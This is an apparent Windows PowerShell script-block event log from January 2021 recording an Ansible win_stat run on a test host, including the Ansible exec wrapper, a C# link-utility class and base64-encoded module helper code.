buffer.SubstituteNameLength = (UInt16)(substituteName.Length * SIZE_OF_WCHAR);
buffer.PrintNameOffset = (UInt16)(buffer.SubstituteNameLength + 2);
buffer.PrintNameLength = (UInt16)(printName.Length * SIZE_OF_WCHAR);
buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
buffer.ReparseDataLength = (UInt16)(buffer.SubstituteNameLength + buffer.PrintNameLength + 12);
buffer.PathBuffer = new char[MAXIMUM_REPARSE_DATA_BUFFER_SIZE];
byte[] unicodeBytes = Encoding.Unicode.GetBytes(substituteName + "\0" + printName);
char[] pathBuffer = Encoding.Unicode.GetChars(unicodeBytes);
Array.Copy(pathBuffer, buffer.PathBuffer, pathBuffer.Length);
UInt32 bytesReturned;
if (!DeviceIoControl(
fileHandle,
FSCTL_SET_REPARSE_POINT,
buffer,
(UInt32)(buffer.ReparseDataLength + 8),
IntPtr.Zero, 0,
out bytesReturned,
IntPtr.Zero))
throw new LinkUtilWin32Exception(String.Format("DeviceIoControl() failed to create junction point at {0} to {1}", linkPath, linkTarget));
}
finally
{
fileHandle.Dispose();
}
}
}
}
'@
# FUTURE: find a better way to get the _ansible_remote_tmp variable
$original_tmp = $env:TMP
$remote_tmp = $original_tmp
$module_params = Get-Variable -Name complex_args -ErrorAction SilentlyContinue
if ($module_params) {
if ($module_params.Value.ContainsKey("_ansible_remote_tmp") ) {
$remote_tmp = $module_params.Value["_ansible_remote_tmp"]
$remote_tmp = [System.Environment]::ExpandEnvironmentVariables($remote_tmp)
}
}
$env:TMP = $remote_tmp
Add-Type -TypeDefinition $link_util
$env:TMP = $original_tmp
Import-PrivilegeUtil
# enable the SeBackupPrivilege if it is disabled
$state = Get-AnsiblePrivilege -Name SeBackupPrivilege
if ($state -eq $false) {
Set-AnsiblePrivilege -Name SeBackupPrivilege -Value $true
}
}
Function Get-Link($link_path) {
$link_info = [Ansible.LinkUtil]::GetLinkInfo($link_path)
return $link_info
}
Function Remove-Link($link_path) {
[Ansible.LinkUtil]::DeleteLink($link_path)
}
Function New-Link($link_path, $link_target, $link_type) {
if (-not (Test-Path -Path $link_target)) {
throw "link_target '$link_target' does not exist, cannot create link"
}
switch($link_type) {
"link" {
$type = [Ansible.LinkType]::SymbolicLink
}
"junction" {
if (Test-Path -Path $link_target -PathType Leaf) {
throw "cannot set the target for a junction point to a file"
}
$type = [Ansible.LinkType]::JunctionPoint
}
"hard" {
if (Test-Path -Path $link_target -PathType Container) {
throw "cannot set the target for a hard link to a directory"
}
$type = [Ansible.LinkType]::HardLink
}
default { throw "invalid link_type option $($link_type): expecting link, junction, hard" }
}
[Ansible.LinkUtil]::CreateLink($link_path, $link_target, $type)
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 09a29f05-7d91-4f00-87de-1d6adf67f061
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2096 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3436 | 3032 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:48 AM | 61e00a24-ee3b-0001-590c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: 817d417c-12e6-4ac5-9b6b-c31f3b3c5671
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2095 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3436 | 3032 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:48 AM | 61e00a24-ee3b-0001-4b0c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (7 of 7):
ad.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: ebc86afc-bb42-404f-8cb6-86758c5752a5
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2094 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3436 | 3032 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:48 AM | 61e00a24-ee3b-0001-450c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (6 of 7):
0aCwgW1N5c3RlbS5JTy5GaWxlbW9kZV06Ok9wZW4sIFtTeXN0ZW0uSU8uRmlsZUFjY2Vzc106OlJlYWQsIFtTeXN0ZW0uSU8uRmlsZVNoYXJlXTo6UmVhZFdyaXRlKTsKICAgICAgICAgICAgJGhhc2ggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRzcC5Db21wdXRlSGFzaCgkZnApKS5SZXBsYWNlKCItIiwgIiIpLlRvTG93ZXIoKTsKICAgICAgICAgICAgJGZwLkRpc3Bvc2UoKTsKICAgICAgICB9CiAgICB9CiAgICBFbHNlSWYgKFRlc3QtUGF0aCAtUGF0aCAkcGF0aCAtUGF0aFR5cGUgQ29udGFpbmVyKQogICAgewogICAgICAgICRoYXNoID0gIjMiOwogICAgfQogICAgRWxzZQogICAgewogICAgICAgICRoYXNoID0gIjEiOwogICAgfQogICAgcmV0dXJuICRoYXNoCn0KCkZ1bmN0aW9uIEdldC1QZW5kaW5nUmVib290U3RhdHVzCnsKPCMKICAgIC5TWU5PUFNJUwogICAgQ2hlY2sgaWYgcmVib290IGlzIHJlcXVpcmVkLCBpZiBzbyBub3RpZnkgQ0EuCiAgICBGdW5jdGlvbiByZXR1cm5zIHRydWUgaWYgY29tcHV0ZXIgaGFzIGEgcGVuZGluZyByZWJvb3QKIz4KICAgICRmZWF0dXJlRGF0YSA9IEludm9rZS1XbWlNZXRob2QgLUVBIElnbm9yZSAtTmFtZSBHZXRTZXJ2ZXJGZWF0dXJlIC1OYW1lc3BhY2Ugcm9vdFxtaWNyb3NvZnRcd2luZG93c1xzZXJ2ZXJtYW5hZ2VyIC1DbGFzcyBNU0ZUX1Nlcn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CBzZXQgZ2V0X2NoZWNrc3VtIHRvIEZhbHNlIHRvIGlnbm9yZSB0aGlzIGVycm9yOiAkKCRfLkV4Y2VwdGlvbi5NZXNzYWdlKSIKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAjIEdldCBzeW1ib2xpYyBsaW5rLCBqdW5jdGlvbiBwb2ludCwgaGFyZCBsaW5rIGluZm8KICAgIExvYWQtTGlua1V0aWxzCiAgICB0cnkgewogICAgICAgICRsaW5rX2luZm8gPSBHZXQtTGluayAtbGlua19wYXRoICRpbmZvLkZ1bGxOYW1lCiAgICB9IGNhdGNoIHsKICAgICAgICBBZGQtV2FybmluZyAtb2JqICRyZXN1bHQgLW1lc3NhZ2UgIkZhaWxlZCB0byBjaGVjay9nZXQgbGluayBpbmZvIGZvciBmaWxlOiAkKCRfLkV4Y2VwdGlvbi5NZXNzYWdlKSIKICAgIH0KICAgIGlmICgkbGlua19pbmZvIC1uZSAkbnVsbCkgewogICAgICAgIHN3aXRjaCAoJGxpbmtfaW5mby5UeXBlKSB7CiAgICAgICAgICAgICJTeW1ib2xpY0xpbmsiIHsKICAgICAgICAgICAgICAgICRzdGF0LmlzbG5rID0gJHRydWUKICAgICAgICAgICAgICAgICRzdGF0LmlzcmVnID0gJGZhbHNlCiAgICAgICAgICAgICAgICAkc3RhdC5sbmtfdGFyZ2V0ID0gJGxpbmtfaW5mby5UYXJnZXRQYXRoCiAgICAgICAgICAgICAgICAkc3RhdC5sbmtfc291cmNlID0gJGxpbmtfaW5mby5BYnNvbHV0ZVBhdGggICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgICAgICJKdW5jdGlvblBvaW50IiB7CiAgICAgICAgICAgICAgICAkc3RhdC5pc2p1bmN0aW9uID0gJHRydWUKICAgICAgICAgICAgICAgICRzdGF0LmlzcmVnID0gJGZhbHNlCiAgICAgICAgICAgICAgICAkc3RhdC5sbmtfdGFyZ2V0ID0gJGxpbmtfaW5mby5UYXJnZXRQYXRoCiAgICAgICAgICAgICAgICAkc3RhdC5sbmtfc291cmNlID0gJGxpbmtfaW5mby5BYnNvbHV0ZVBhdGggICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgICAgICJIYXJkTGluayIgewogICAgICAgICAgICAgICAgJHN0YXQubG5rX3R5cGUgPSAiaGFyZCIKICAgICAgICAgICAgICAgICRzdGF0Lm5saW5rID0gJGxpbmtfaW5mby5IYXJkVGFyZ2V0cy5Db3VudAoKICAgICAgICAgICAgICAgICMgcmVtb3ZlIGN1cnJlbnQgcGF0aCBmcm9tIHRoZSB0YXJnZXRzCiAgICAgICAgICAgICAgICAkaGxua190YXJnZXRzID0gJGxpbmtfaW5mby5IYXJkVGFyZ2V0cyB8IFdoZXJlLU9iamVjdCB7ICRfIC1uZSAkc3RhdC5wYXRoIH0KICAgICAgICAgICAgICAgICRzdGF0LmhsbmtfdGFyZ2V0cyA9IEAoJGhsbmtfdGFyZ2V0cykKICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CgogICAgJHJlc3VsdC5zdGF0ID0gJHN0YXQKfQoKRXhpdC1Kc29uICRyZXN1bHQK", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "_ansible_module_name": "win_stat", "_ansible_remote_tmp": "%TEMP%", "_ansible_diff": false, "_ansible_verbosity": 2, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_ansible_check_mode": false, "get_checksum": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "path": "c:\\openstack\\log\\nova-compute.log", "get_md5": false, "_ansible_tmpdir": null}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$paylo
ScriptBlock ID: ebc86afc-bb42-404f-8cb6-86758c5752a5
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2093 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3436 | 3032 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:48 AM | 61e00a24-ee3b-0001-450c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (5 of 7):
gICAgfQogICAgQ2F0Y2gKICAgIHsKICAgICAgICAkb2JqIHwgQWRkLU1lbWJlciAtRm9yY2UgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lICRuYW1lIC1WYWx1ZSAkdmFsdWUKICAgIH0KfQoKRnVuY3Rpb24gRXhpdC1Kc29uKCRvYmopCnsKPCMKICAgIC5TWU5PUFNJUwogICAgSGVscGVyIGZ1bmN0aW9uIHRvIGNvbnZlcnQgYSBQb3dlclNoZWxsIG9iamVjdCB0byBKU09OIGFuZCBvdXRwdXQgaXQsIGV4aXRpbmcKICAgIHRoZSBzY3JpcHQKICAgIC5FWEFNUExFCiAgICBFeGl0LUpzb24gJHJlc3VsdAojPgoKICAgICMgSWYgdGhlIHByb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B7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluIG1vc3QgdXNlIGNhc2VzCiAgICAgICAgICAgICAgICAgICAgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlID0gIkdldC1BbnNpYmxlUGFyYW06IEFyZ3VtZW50ICRuYW1lIG5lZWRzIHRvIGJlIG9uZSBvZiAkKCRWYWxpZGF0ZVNldCAtam9pbiAiLCIpIGJ1dCB3YXMgJCgkb2JqLiRuYW1lKS4iCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICRWYWxpZGF0ZVNldEVycm9yTWVzc2FnZQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHZhbHVlID0gJG9iai4kbmFtZQogICAgICAgIH0KICAgIH0gY2F0Y2ggewogICAgICAgIGlmICgkZmFpbGlmZW1wdHkgLWVxICRmYWxzZSkgewogICAgICAgICAgICAkdmFsdWUgPSAkZGVmYXVsdAogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICgtbm90ICRlbXB0eWF0dHJpYnV0ZWZhaWxtZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAkZW1wdHlhdHRyaWJ1dGVmYWlsbWVzc2FnZSA9ICJHZXQtQW5zaWJsZVBhcmFtOiBNaXNzaW5nIHJlcXVpcmVkIGFyZ3VtZW50OiAkbmFtZSIKICAgICAgICAgICAgfQogICAgICAgICAgIC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hbHVlIC1tYXRjaCAiXlx3OiIpIHsKICAgICAgICAgICAgICAgICAgICAjIHJld3JpdGUgcGF0aCB3aXRoIGEgdmFsaWQgZHJpdmUgbGV0dGVyIGFuZCByZWNoZWNrIHRoZSBzaGFwZS0gdGhpcyBtaWdodCBzdGlsbCBmYWlsLCBlZywgYSBub25leGlzdGVudCBub24tZmlsZXN5c3RlbSBQUyBwYXRoCiAgICAgICAgICAgICAgICAgICAgaWYgKFRlc3QtUGF0aCAtSXNWYWxpZCAkKEAoR2V0LVBTRHJpdmUgLVBTUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJHR5cGUgLWVxICJsaXN0IikgewogICAgICAgICAgICBpZiAoJHZhbHVlIC1pcyBbYXJyYXldKSB7CiAgICAgICAgICAgICAgICAjIE5vdGhpbmcgdG8gZG8KICAgICAgICAgICAgfSBlbHNlaWYgKCR2YWx1ZSAtaXMgW3N0cmluZ10pIHsKICAgICAgICAgICAgICAgICMgQ29udmVydCBzdHJpbmcgdHlwZSB0byByZWFsIFBvd2Vyc2hlbGwgYXJyYXkKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICR2YWx1ZS5TcGxpdCgiLCIpLlRyaW0oKQogICAgICAgICAgICB9IGVsc2VpZiAoJHZhbHVlIC1pcyBbaW50XSkgewogICAgICAgICAgICAgICAgJHZhbHVlID0gQCgkdmFsdWUpCiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICJHZXQtQW5zaWJsZVBhcmFtOiBQYXJhbWV0ZXIgJyRuYW1lJyBpcyBub3QgYSBZQU1MIGxpc3QuIgogICAgICAgICAgICB9CiAgICAgICAgICAgICMgLCBpcyBub3QgYSB0eXBvLCBmb3JjZXMgaXQgdG8gcmV0dXJuIGFzIGEgbGlzdCB3aGVuIGl0IGlzIGVtcHR5IG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7fSAiVW5zdXBwb3J0ZWQgaGFzaCBhbGdvcml0aG0gc3VwcGxpZWQgJyRhbGdvcml0aG0nIiB9CiAgICAgICAgfQoKICAgICAgICBJZiAoJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbi5NYWpvciAtZ2UgNCkgewogICAgICAgICAgICAkcmF3X2hhc2ggPSBHZXQtRmlsZUhhc2ggJHBhdGggLUFsZ29yaXRobSAkYWxnb3JpdGhtCiAgICAgICAgICAgICRoYXNoID0gJHJhd19oYXNoLkhhc2guVG9Mb3dlcigpCiAgICAgICAgfSBFbHNlIHsKICAgICAgICAgICAgJGZwID0gW1N5c3RlbS5JTy5GaWxlXTo6T3BlbigkcGF
ScriptBlock ID: ebc86afc-bb42-404f-8cb6-86758c5752a5
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2092 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3436 | 3032 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:48 AM | 61e00a24-ee3b-0001-450c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 7):
CwgbGlua1RhcmdldCwgbGlua0ZsYWdzKSk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlIExpbmtUeXBlLkp1bmN0aW9uUG9pbnQ6CiAgICAgICAgICAgICAgICAgICAgQ3JlYXRlSnVuY3Rpb25Qb2ludChsaW5rUGF0aCwgbGlua1RhcmdldCk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlIExpbmtUeXBlLkhhcmRMaW5rO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KICAgICAgICAgICAgaWYgKGZpbmRIYW5kbGUuVG9JbnQ2NCgpICE9IElOVkFMSURfSEFORExFX1ZBTFVFKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICB0cnkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBkbwogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIGhhcmRMaW5rUGF0aCA9IHNiLlRvU3RyaW5nKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChoYXJkTGlua1BhdGguU3RhcnRzV2l0aCgiXFwiKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhhcmRMaW5rUGF0aCA9IGhhcmRMaW5rUGF0aC5TdWJzdHJpbmcoMSwgaGFyZExpbmtQYXRoLkxlbmd0aCAtIDEpOwoKICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0LkFkZChQYXRoLkNvbWJpbmUodm9sdW1lLCBoYXJkTGlua1BhdGgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nTGVuZ3RoID0gbWF4UGF0aDsKCiAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoRmluZE5leHRGaWxlTmFtZVcoZmluZEhhbmRsZSwgcmVmIHN0cmluZ0xlbmd0aCwgc2IpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZpbmFsbHkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBGaW5kQ2xvc2UoZmluZEhhbmRsZSk7CiAgICAgICAgICAgICAgICB9ICAgICAgICAgICAgICAgIAogICAgICAgICAgICB9CgogICAgICAgICAgICBpZiAocmVzdWx0LkNvdW50ID4gMSkKICAgICAgICAgICAgICAgIHJldHVybiBuZXcgTGlua0luZm8KICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBUeXBlID0gTGlua1R5cGUuSGFyZExpbmssCiAgICAgICAgICAgICAgICAgICAgSGFyZFRhcmdldHMgPSByZXN1bHQuVG9BcnJheSgpCiAgICAgICAgICAgICAgICB9OwoKICAgICAgICAgICAgcmV0dXJuIG51bGw7CiAgICAgICAgfQoKICAgICAgICBwcml2YXRlIHN0YXRpYyBMaW5rSW5mbyBHZXRSZXBhcnNlUG9pbnRJbmZvKHN0cmluZyBsaW5rUGF0aCkKICAgICAgICB7CiAgICAgICAgICAgIFNhZmVGaWxlSGFuZGxlIGZpbGVIYW5kbGUgPSBDcmVhdGVGaWxlKAogICAgICAgICAgICAgICAgbGlua1BhdGgsCiAgICAgICAgICAgICAgICBGaWxlQWNjZXNzLlJlYWQsCiAgICAgICAgICAgICAgICBGaWxlU2hhcmUuTm9uZSwKICAgICAgICAgICAgICAgIEludFB0ci5aZXJvLAogICAgICAgICAgICAgICAgRmlsZU1vZGUuT3BlbiwKICAgICAgICAgICAgICAgIEZJTEVfRkxBR19PUEVOX1JFUEFSU0VfUE9JTlQgfCBGSUxFX0ZMQUdfQkFDS1VQX1NFTUFOVElDUywKICAgICAgICAgICAgICAgIEludFB0ci5aZXJvKTsKCiAgICAgICAgICAgIGlmIChmaWxlSGFuZGxlLklzSW52YWxpZCkKICAgICAgICAgICAgICAgIHRocm93IG5ldyBMaW5rVXRpbFdpbjMyRXhjZXB0aW9uKFN0cmluZy5Gb3JtYXQoIkNyZWF0ZUZpbGUoezB9KSBmYWlsZWQiLCBsaW5rUGF0aCkpOyAgICAgICAgICAgIAoKICAgICAgICAgICAgUkVQQVJTRV9EQVRBX0JVRkZFUiBidWZmZXIgPSBuZXcgUkVQQVJTRV9EQVRBX0JVRkZFUigpOwogICAgICAgICAgICBVSW50MzIgYnl0ZXNSZXR1cm5lZDsKICAgICAgICAgICAgdHJ5CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGlmICghRGV2aWNlSW9Db250cm9sKAogICAgICAgICAgICAgICAgICAgIGZpbGVIYW5kbGUsCiAgICAgICAgICAgICAgICAgICAgRlNDVExfR0VUX1JFUEFSU0VfUE9JTlQsCiAgICAgICAgICAgICAgICAgICAgSW50UHRyLlplcm8sCiAgICAgICAgICAgICAgICAgICAgMCwKICAgICAgICAgICAgICAgICAgICBvdXQgYnVmZmVyLAogICAgICAgICAgICAgICAgICAgIE1BWElNVU1fUkVQQVJTRV9EQVRBX0JVRkZFUl9TSVpFLAogICAgICAgICAgICAgICAgICAgIG91dCBieXRlc1JldHVybmVkLAogICAgICAgICAgICAgICAgICAgIEludFB0ci5aZXJvKSkKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgTGlua1V0aWxXaW4zMkV4Y2VwdGlvbihTdHJpbmcuRm9ybWF0KCJEZXZpY2VJb0NvbnRyb2woKSBmYWlsZWQgZm9yIGZpbGUgYXQgezB9IiwgbGlua1BhdGgpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmaW5hbGx5CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGZpbGVIYW5kbGUuRGlzcG9zZSgpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBib29sIGlzUmVsYXRpdmUgPSBmYWxzZTsKICAgICAgICAgICAgaW50IHBhdGhPZmZzZXQgPSAwOwogICAgICAgICAgICBMaW5rVHlwZSBsaW5rVHlwZTsKICAgICAgICAgICAgaWYgKGJ1ZmZlci5SZXBhcnNlVGFnID09IElPX1JFUEFSU0VfVEFHX1NZTUxJTkspCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIFVJbnQzMiBidWZmZXJGbGFncyA9IENvbnZlcnQuVG9VSW50MzIoYnVmZmVyLlBhdGhCdWZmZXJbMF0pICsgQ29udmVydC5Ub1VJbnQzMihidWZmZXIuUGF0aEJ1ZmZlclsxXSk7CiAgICAgICAgICAgICAgICBpZiAoYnVmZmVyRmxhZ3MgPT0gU1lNTElOS19GTEFHX1JFTEFUSVZFKQogICAgICAgICAgICAgICAgICAgIGlzUmVsYXRpdmUgPSB0cnVlOwogICAgICAgICAgICAgICAgcGF0aE9mZnNldCA9IDI7CiAgICAgICAgICA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gICAgICAgICAgICAgICBVSW50MzIgYnl0ZXNSZXR1cm5lZDsKICAgICAgICAgICAgICAgIGlmICghRGV2aWNlSW9Db250cm9sKAogICAgICAgICAgICAgICAgICAgIGZpbGVIYW5kbGUsCiAgICAgICAgICAgICAgICAgICAgRlNDVExfU0VUX1JFUEFSU0VfUE9JTlQsCiAgICAgICAgICAgICAgICAgICAgYnVmZmVyLAogICAgICAgICAgICAgICAgICAgIChVSW50MzIpKGJ1ZmZlci5SZXBhcnNlRGF0YUxlbmd0aCArIDgpLAogICAgICAgICAgICAgICAgICAgIEludFB0ci5aZXJvLCAwLAogICAgICAgICAgICAgICAgICAgIG91dCBieXRlc1JldHVybmVkLAogICAgICAgICAgICAgICAgICAgIEludFB0ci5aZXJvKSkKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgTGlua1V0aWxXaW4zMkV4Y2VwdGlvbihTdHJpbmcuRm9ybWF0KCJEZXZpY2VJb0NvbnRyb2woKSBmYWlsZWQgdG8gY3JlYXRlIGp1bmN0aW9uIHBvaW50IGF0IHswfSB0byB7MX0iLCBsaW5rUGF0aCwgbGlua1RhcmdldCkpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZpbmFsbHkKICAgICAgICAgICAgewogICAgICAgICAgICAgIC